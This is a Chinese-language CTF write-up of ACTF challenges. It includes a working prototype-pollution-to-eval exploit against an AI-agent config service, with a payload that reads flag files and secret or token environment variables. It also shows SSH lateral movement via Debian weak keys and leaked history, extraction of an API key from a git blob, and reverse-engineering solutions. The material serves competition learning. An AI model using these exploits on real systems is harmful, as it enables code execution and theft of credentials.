ACTF

ACTF

∀gent

题目一开始没给附件,就给了个容器。

进去之后是让我们上传一个 zip ,然后就可以和 agent 聊天?
稍微试探一下会吐出假的 flag ,

ACTF{WuYan_1s_4_b19_Turt13_N07_7h3_F1n41_Fl4g}

后面题目又给了一个附件。

附件结构:

1
2
3
4
5
6
7
8
9
10
11
server.js
public/app.js
src/
storage/db.json
storage/tenants/workspace/main-agent.yaml
storage/repositories/
vendor/
vendor/candidate-yaml-update-action/
vendor/expr-eval/
vendor/jsonpath-plus/
vendor/jmespath-js/

看看他的聊天接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post("/api/workspaces/:id/chat", async (req, res) => {
assertChatPayload(req.body);
...
});


const payload = {
instruction: String(req.query.instruction || "..."),
scope: String(req.query.scope || "release"),
environment: String(req.query.environment || workspace.environment || "staging"),
section: String(req.query.section || "image"),
field: String(req.query.field || "tag"),
value: String(req.query.value || "v1.0.4-rc1"),
};

聊天的参数会强制转字符串,没找到能打的地方。

传入的 value :

1
2
3
value: {
anyOf: [{ type: "string" }, { type: "number" }, { type: "boolean" }],
},

也只接受字符串、数字、布尔值。

但是这边有个 override 接口:

1
2
3
4
app.post("/api/projects/:id/agent/override", async (req, res) => {
const job = await runOverrideJob(req.params.id, req.body);
res.status(202).json({ job });
});

这里可以传任意的 JSON ,value 也能放对象。

所以我们追踪一下这个 override

看 src/job-runner.js:

1
2
const propertyPath = buildPropertyPath(payload);
const patchValue = buildPatchValue(payload);

还有 src/path-builder.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function sanitizeSegment(input, fallback) {
if (typeof input !== "string" || !input.trim()) {
return fallback;
}

return input.trim();
}

function buildPropertyPath(request) {
const scope = sanitizeSegment(request.scope, "release");
const environment = sanitizeSegment(request.environment, "staging");
const section = sanitizeSegment(request.section, "image");
const field = sanitizeSegment(request.field, "tag");

return `agentProfile.scopes.${scope}.environments.${environment}.${section}.${field}`;
}

function buildPatchValue(request) {
return request.value;
}

这里有一个点:

sanitizeSegment() 只是判断是不是字符串,然后 trim(),没有过滤点号 .,也没有过滤危险 key。

也就是说,正常路径是:

agentProfile.scopes.release.environments.staging.image.tag

但如果让:

field = “a.b.c”

最终路径就变成:

1
agentProfile.scopes.release.environments.staging.image.a.b.c

这说明我们可以通过 field 注入额外路径层级。

然后看一看 propertyPath 被谁用了。

agent loop 里调用:

1
2
tool: "config.diff",
args: { propertyPath, value: patchValue },

src/tool-registry.js 里:

1
2
3
4
5
6
7
8
9
"config.diff": ({ propertyPath, value }) => {
const result = applyChanges(filePath, { [propertyPath]: value });
return {
changed: result.changed,
format: result.format,
before: result.before,
after: result.after,
};
},
1
2
3
applyChanges(filePath, {
[propertyPath]: value
})

src/config-engine.js:

1
2
3
4
5
6
7
8
9
10
function applyChanges(filePath, valueUpdates, options = {}) {
...
const changedFile = upstream.processFile(
path.basename(filePath),
valueUpdates,
actionOptions,
actionLogger
);
...
}

它把更新逻辑丢给了:

1
vendor/candidate-yaml-update-action

继续跟踪就能看到核心写入:

1
jsonpath.value(copy, jsonPath, value);

所以这里可以有原型污染。

因为最终路径是:

1
agentProfile.scopes.release.environments.staging.image.${field}

污染 Object.prototype.policy 就能控制

1
2
3
4
5
formula
bindingProfile
resultProfile
selectorProfile
exposeDebugContext

在 executeFormulaExpression() 里:

1
2
3
const result = eval(`(function(${argNames.join(',')}) { return (${expression}); })`)(
...argValues
);

这就是污染最后的 eval

但是这个 eval 被加了限制

1
2
3
4
5
6
if (verdict.blockedCount > 0) {
if (!allowCompatInterpreter) {
throw new Error("strict numeric formula validation failed");
}
return executeFormulaExpression(...);
}

会拦截,然后 bindingProfile 默认的 lock 需要改为 compat:

1
2
3
4
5
6
7
8
9
10
11
12
function resolveBindingProfile(profile) {
switch (String(profile || "")) {
case "locked":
return false;
case "sealed":
return false;
case "compat":
return true;
default:
return true;
}
}

还有 eval 的返回结果也有校验,如果返回字符串,会报 error

所以还要把 resultProfile 设置为 wide

1
2
3
4
5
6
7
8
9
10
11
12
function resolveResultProfile(profile) {
switch (String(profile || "")) {
case "compact":
return true;
case "wide":
return false;
case "decimal":
return false;
default:
return false;
}
}

最后在控制台跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const formula = `(()=>{const fs=require('fs');for(const p of ['/flag','/FLAG','/app/flag','/app/FLAG','/tmp/flag','/tmp/FLAG','/workspace/flag','/workspace/FLAG']){try{if(fs.existsSync(p))return fs.readFileSync(p,'utf8')}catch(e){}}return Object.entries(process.env).filter(([k])=>/flag|ctf|actf|secret|token/i.test(k)).map(([k,v])=>k+'='+v).join('\\n')})()`;

const res = await fetch("/api/projects/workspace-main/agent/override", {
method: "POST",
headers: {
"content-type": "application/json"
},
body: JSON.stringify({
instruction: "evaluate release policy",
scope: "release",
environment: "staging",
section: "image",
field: "constructor.prototype.policy",
value: {
formula,
bindingProfile: "compat",
resultProfile: "wide",
selectorProfile: "catalog",
exposeDebugContext: true
},
dryRun: true
})
});

const data = await res.json();
console.log(data);
console.log("RESULT =", data?.job?.result?.evaluation?.formulaResult);

就能拿到 flag

ACTF{1n_f4c7_∀_D0esn’7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A}

special day

签到题。

附件给了base64:SGFwcHkgTW90aGVyJ3MgRGF5LCBNb20h

就是Happy Mother’s Day, Mom!

ACTF{Happy_Mothers_Day_Mom}

ZJUAM Just Uses Awful Math

流量包里是一次登陆过程

拿了一个Pubkey,然后有串加密的password

估计是解这个password。

password:590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563

Pubkey :

{“modulus”:”90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3”,”exponent”:”10001”}

后面是crypto了吧。( •_•)>⌐■-■

Alpertron Integer Factorization Calculator里面解出来

p = 202555251191383333988748320354737959551

q = 321566364572398185024295275472079273917

n = p * q

e = 65537

解出来的明文是414354467b544c535f73407665735f5448455f7730524c647d

也就是

ACTF{TLS_s@ves_THE_w0RLd}

Ezssh

题目给了个实例申请接口。调用之后返回一台 SSH 主机地址、端口、用户名。

连接 SSH ,这个 SSH 的密码是用户名 guest 。

(md,这个密码卡了好久,还以为是在哪里能拿到的)

然后要输入 team token。

进入之后拿到了 bastion

/home 下面除了 guest 还有 inuebisu

在 /home/inuebisu 里面有 flag1.txt

但是没有权限读取。

但是可以读取 /home/inuebisu/.bash_history

1
2
3
4
5
6
7
ssh root@oldgw
scp root@oldgw:/root/.ssh/id_rsa.pub /tmp/oldgw.pub
cat /tmp/oldgw.pub >> ~/.ssh/authorized_keys
ssh gitops@git-01
ssh gitops@git-01 "ls /srv/git"
ssh gitops@git-01 "cd /srv/git/ai-gateway-migration && git log --oneline -3"
cat flag1.txt

inuebisu 曾经登录过 oldgw。

root@oldgw 的公钥被加入了 inuebisu 的 authorized_keys。

后续还有 git-01 这条线

发现 authorized_keys 中有一条注释为 root@oldgw 的 RSA 公钥

同时 /tmp/oldgw-etc 中有 oldgw 的备份配置:

1
find /tmp/oldgw-etc -maxdepth 3 -type f -exec echo '===== {} =====' \; -exec cat {} \;

其中:

1
2
/tmp/oldgw-etc/debian_version: 4.0
/tmp/oldgw-etc/hostname: oldgw

Debian 4.0 加上旧 SSH key 是经典 Debian OpenSSL weak key 线索。

先保存 root@olddw 的公钥,

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvMDKzZ6D+MTDUToYDHiRG/oC+qcPo0gGNhfPzFnfGIU0em7gP911RUHSsRBi9LGBPo4u2KHSdkBrvh5aDClBCDumoLv/UVH2Q9qxxRIQW9uKNMvMNao+Ux30a2MjWM5+KR/xGeujO3YYIkJBx9bI5jkipu5l3UhPRjtTxChTe3T7x7bwZEeW9dsV4NtWM2EyQEX21mfAtb1uHQrL5Ce6kweKmBu/xR7y5r7GDaygBgGQLVjeqXJ6wLew/DPcFcWqMoAULpcUScVZ7F1Rz8AeqLbtZ0fHZbBZVEKgHji2f7K3TwIKe0IfRjICJzaEvHM7SROvEbd7DtVM+lZ1O57Kjw==

查看指纹 2048 MD5:a3:ed:92:9a:9c:89:a7:3f:52:13:7a:ba:c5:56:56:32 root@oldgw (RSA)

然后通过 Debian OpenSSL 弱密钥库找到私钥。

直接用这个私钥登陆 inuebisu

读取第一段 flag :

ACTF{O1DGw_N3vER_d!E5_

查看 SSH 配置,发现保存着 git-01 的凭证

于是直接 ssh git-01

发现 ~/flag2.txt ,直接读取拿到第二段:

h!s70ry_sT!lL_1eaK$_

然后在 这个 git 仓库中寻找。

这个用户还有一把去 backup_01 的私钥,只支持 SFTP 服务。

连过去没什么东西

就一个ai-gateway.service

内容是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[Unit]

Description=Internal AI Gateway

After=network.target



[Service]

Type=simple

Environment=OPENAI_BASE_URL=http://10.61.3.40:8080/v1

Environment=OPENAI_MODEL=deepsleep-v8

ExecStart=/usr/local/bin/ai-gateway

Restart=always



[Install]

WantedBy=multi-user.targetgitops@git-01:/srv/git/ai-gateway-migration$


其实这个本来的仓库里也有提到,有个 smoke 的思路。

同时怀疑有悬空提交或者孤儿提交

1
git fsck --full --no-reflogs --unreachable --lost-found 2>/dev/null
1
unreachable blob 5b33ca2d50324d3600c315671849e3c7ea03bcc8
1
git show 5b33ca2d50324d3600c315671849e3c7ea03bcc8

得到:

1
OPENAI_API_KEY=sk-pandora-k7J2nL9vR4xT1mPq5sB8wY3uA6zC0eI4gH2jK

然后直接给 ai-gateway-01:8080 发请求。

为什么我这用 curl -sS 显示没有这个命令qaq,但是其他人的 wp 里面可以啊。

不得已,用 /dev/tcp 手搓了。

1
2
3
4
5
6
7
KEY='sk-pandora-k7J2nL9vR4xT1mPq5sB8wY3uA6zC0eI4gH2jK'
BODY='{"model":"deepsleep-v8","messages":[{"role":"user","content":"ping"}]}'

exec 3<>/dev/tcp/10.61.3.40/8080
printf 'POST /v1/chat/completions HTTP/1.1\r\nHost: 10.61.3.40\r\nContent-Type: application/json\r\nAuthorization: Bearer %s\r\nContent-Length: %s\r\nConnection: close\r\n\r\n%s' "$$KEY" "$${#BODY}" "$BODY" >&3
cat <&3
exec 3>&-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.12.13
Date: Sun, 10 May 2026 12:30:04 GMT
Content-Type: application/json
Content-Length: 169
{
"id": "chatcmpl-final",
"object": "chat.completion",
"choices": [
{
"message": {
"role": "assistant",
"content": "@70M1c_b0mBiN9}"
}
}
]
}

第三段:

@70M1c_b0mBiN9}
ACTF{O1DGw_N3vER_d!E5_h!s70ry_sT!lL_1eaK$_@70M1c_b0mBiN9}

计算机系统贯通实验

附件是个 .xlsx ,实际上是用 excel 表格做了个 Excel CPU,用公式模拟了一套类 RISC-V 指令执行流程

F4 输入 flag

F7 reset / 控制

F10 输出

I列 混淆后的指令

J列 寄存器

K/L列 内存

指令列的解码关系大概是:

instr = (int(I[row], 16) - 11462713 * (pc // 4) - 918823512) & 0xffffffff

解码后能看到一套类似 RV32I 的指令集:load/store/branch/jal/jalr/lui/auipc/op/op-imm

程序启动后会打印

Hi

begin init

Checking flag

主要校验分成四段。

第一段是自定义 base64。程序用普通 base64 字符表生成了一个置换表:

1
perm[i] = alphabet[(37 * i + 47) % 64]

用这个表解目标串:

1
JJY+ndsVry-wWNA9MJYcg5Y0WSIwWi8Ir+rOG-==

得到 flag 的第 35 到 62 位:

1
I-cann0t-love-it-anymore233-

第二段是前 35 字节的简单变换:

1
enc[i] = ((flag[i] ^ 0x37) + 0x2f) & 0xff

逆回去得到:

1
ACTF{do-u-love-General-Physics-(H)?

第三段是 hash 链,循环校验第 63 到 82 位。hash 不是标准 FNV,但形式很像:

1
2
3
4
5
6
h = 0x811c9dc5
for b in data_until_zero:
h ^= b
h = rol32(h, 7)
h = (h + (h << 13)) & 0xffffffff
h ^= h >> 5

逐对爆破 printable 字符并利用重叠关系,可以得到:

1
15c077f9-631f-44d8-b

第四段是最后 16 字节的块变换,结构像一个简化 AES:

1
2
3
4
5
6
7
state ^= first16
state ^= key16
7 rounds:
S-box
ShiftRows-like permutation
MixColumns-like transform, polynomial 0x1d
round key xor

把最后的目标块逆回去,得到:

1
826-af6c60f15e4f

拼起来就是:

1
ACTF{do-u-love-General-Physics-(H)?I-cann0t-love-it-anymore233-15c077f9-631f-44d8-b826-af6c60f15e4f}

Flag checker

题目结构大概是:

1
2
3
4
5
6
LoongArch64 Go 静态二进制
+ garble 混淆
+ 反射调用 verifier 方法
+ HMAC-SHA256 派生 per-word key
+ 自定义 4 轮 Feistel
+ mmap 出来的 blob 里做 SM4 校验

关键约束是:

1
2
3
flag 长度:38
格式:ACTF{32字节body}
body32 位小写 hex 字符串

真正校验函数是由前缀 ACTF{ 算出来的:

1
base32(sha256("ACTF{")[:5]) = CT77IKGJ

所以进入的方法是:

1
main.(*JGqVVFpm).CT77IKGJ

最后的主逻辑是把 body 切成 8 个 little-endian uint32,然后通过 8 个 goroutine/channel 打乱依赖关系。每个 word 的 Feistel key 来自另一个 word 的:

1
first4(HMAC-SHA256("DragonAbyssLoong64ReverseCTF2026", word_bytes))

Feistel 后的 32 字节再进入 mmap blob 里的 SM4。SM4 key 是:

1
LoongArch64SM4!!

目标密文是:

1
47431c8eca012e7a3a6ff6c3807a168de2ed5b5b8026866fc8ba4460320308fe

解密后得到中间目标:

1
018f4771d52fb3b970bcdace9ef3e24bc1926f9bb054537ef00ba5e1efda4801

然后因为 body 只允许 hex 字符,每 4 字节只有 16^4 = 65536 种可能,直接建 8 个转移表,解一个 8-word 环就能出结果。

ACTF{fce553ec44532f11ff209e1213c92acd}